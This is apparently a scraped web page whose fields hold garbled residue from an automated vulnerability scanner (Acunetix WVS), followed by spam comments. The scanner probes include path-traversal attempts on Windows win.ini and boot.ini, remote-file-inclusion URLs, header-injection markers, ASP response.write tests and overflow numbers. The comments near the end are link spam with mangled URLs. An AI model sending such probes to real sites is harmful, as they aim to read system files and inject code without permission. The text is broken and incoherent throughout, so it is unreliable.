vqdsxcki：1

printmd5acunetixwvssecuritytest：1

ivbhuogj：acunetixwvsinvalidfilename

printmd5acunetixwvssecuritytesta：1

ivbhuogj：jianshowasp

rcsomaxp：printmd5acunetixwvssecuritytest

windowswinini：1

喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡windows蜡winini：1

rcsomaxp：printmd5acunetixwvssecuritytesta

windowswinini：1

rcsomaxp：printmd5acunetixwvssecuritytest

windowswinini：1

vqdsxcki：1

bootini：1

rcsomaxp：printmd5acunetixwvssecuritytesta

rcsomaxp：printmd5acunetixwvssecuritytest

windowswinini：1

unexistingwindowswinini：1

1e309：1

：1

ivbhuogj：1

windowswinini：1

蜡：1

：1

ivbhuogj：1

rcsomaxp：1

268435455：1

rcsomaxp：1

httptestaspvulnwebcomtxsshtml00jpg：1

rcsomaxp：1

vqdsxcki：1

rnutvhrm：1

：1

鉮：1

caytnjxi：windowswinini

：1

caytnjxi：喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡喇喇蜡windows蜡winini

caytnjxi：windowswinini

ivbhuogj：1

caytnjxi：unexistingwindowswinini

rcsomaxp：1

：1

caytnjxi：windowswinini

wcsjnepx：1

caytnjxi：windowswinini

wcsjnepx：httptestaspvulnwebcomtxsshtml00jpg

nygcirma：

rnutvhrm：1

nygcirma：

rnutvhrm：1e309

rnutvhrm：

：1

rnutvhrm：

rnutvhrm：268435455

rnutvhrm：鉮

：1

rnutvhrm：蜡

caytnjxi：windowswinini

rnutvhrm：

caytnjxi：bootini

nygcirma：

gulsackw：

gulsackw：1

1someinexistentfilewithlongname00jpg：1

httptestaspvulnwebcomtfittxt00jpg：1

gulsackw：

hvawlets：1

lgrmwvuv：1someinexistentfilewithlongname00jpg

hvawlets：1

nygcirma：1

caytnjxi：1

hvawlets：1

lgrmwvuv：httpsomeinexistentwebsiteacusomeinexistentfilewithlongname00jpg

lgrmwvuv：httptestaspvulnwebcomtfittxt00jpg

nygcirma：1

dir：1

rnutvhrm：1

ovbbwgrt：1

hvawlets：1

rnutvhrm：1

lgrmwvuv：1

deeudeub：1n945491v946951

caytnjxi：1

hvawlets：1

caytnjxi：1

lgrmwvuv：1

caytnjxi：1

hvawlets：1

dir：1

rnutvhrm：1

lgrmwvuv：1

caytnjxi：1

rnutvhrm：1

caytnjxi：1

hvawlets：1

kbpfbbtsn954497v988553：1

caytnjxi：1

hvawlets：1

caytnjxi：1

dir：1

UWFpSE9tN1o：1

hvawlets：1

dir：1

hvawlets：1

dir：1

hvawlets：1

rnutvhrm：1

dir：1

rnutvhrm：1

hvawlets：1

xovnaqxu：1

ckfsoabh：dir

xovnaqxu：9901999045

SomeCustomInjectedHeaderinjectedbywvs：1

0：1

ckfsoabh：dir

SomeCustomInjectedHeaderinjectedbywvs：1

rnutvhrm：1

ckfsoabh：dir

dloypjar：SomeCustomInjectedHeaderinjectedbywvs

ckfsoabh：dir

dloypjar：SomeCustomInjectedHeaderinjectedbywvs

dloypjar：1

responsewrite952：1

dloypjar：1

responsewrite952：1

ckfsoabh：1

vbgjaggu：responsewrite977

ckfsoabh：1

vbgjaggu：1

hvawlets：1

jrdfoiys：1

Celina：Yourcraniummustbeprcoittengsomeveryvaluablebrainshttptakeczvhrlcomurlhttpchjerchccomchjerchcurllinkhttpyzyqhrhspwcomyzyqhrhspwlink

Marel：Yourpostcapturestheissueahrefhttpbxgqnrjgaevcompeltycfrea

Latrice：IneverthoughtIwouldfindsuchaneverydaytopicsoenagltrlinhhttppkvxkesdcomurlhttpgimvazxozdcomgimvazxozdurllinkhttpbgibeyvevcombgibeyvevlink

Malinda：TheahrefhttpkvpqrybjvscompuehrascsaImakeareentirelybasedonthesearticles

Jailen：Iftimeismoneyyouvemademeawealehitrwoman

芒果体育